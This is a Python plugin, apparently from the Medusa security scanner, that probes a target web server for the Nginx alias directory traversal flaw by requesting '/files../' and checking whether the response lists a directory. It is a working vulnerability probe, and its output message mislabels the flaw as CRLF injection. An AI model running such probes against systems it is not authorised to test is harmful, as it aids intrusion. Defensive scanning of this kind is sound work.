#!/usr/bin/env python
# _*_ coding: utf-8 _*_
import urllib.parse
import requests
import ClassCongregation
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number'] = "0"  # 如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['version'] = "无"  # 这边填漏洞影响的版本
        self.info['disclosure'] = '2019-10-13'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2019-10-13"  # 插件编辑时间
        self.info['algroup'] = "NginxDirectoryTraversalVulnerability"  # 插件名称
        self.info['name'] ='Nginx目录穿越漏洞' #漏洞名称
        self.info['affects'] = "Nginx"  # 漏洞组件
        self.info['desc_content'] = ""  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['details'] = Medusa  # 结果
def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port


Payload="/files../"
def medusa(Url,RandomAgent,ProxyIp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    PayloadUrl = scheme+"://"+url+':'+str(port)+Payload
    host=url+':'+str(port)
    headers = {
        'Host':host,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'User-Agent': RandomAgent,
        'Connection': 'close',
    }

    try:
        s = requests.session()
        resp = s.get(PayloadUrl, headers=headers, timeout=5)
        con = resp.text
        code = resp.status_code
        if code==200 and con.lower().find('bin')!=-1 and con.lower().find('root')!=-1 :
            Medusa = "{}存在Nginx_CRLF注入漏洞 \r\n漏洞详情:\r\nPayload:{}\r\n".format(url, PayloadUrl)
            _t = VulnerabilityInfo(Medusa)
            web = ClassCongregation.VulnerabilityDetails(_t.info)
            web.High()  # serious表示严重，High表示高危，Intermediate表示中危，Low表示低危
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类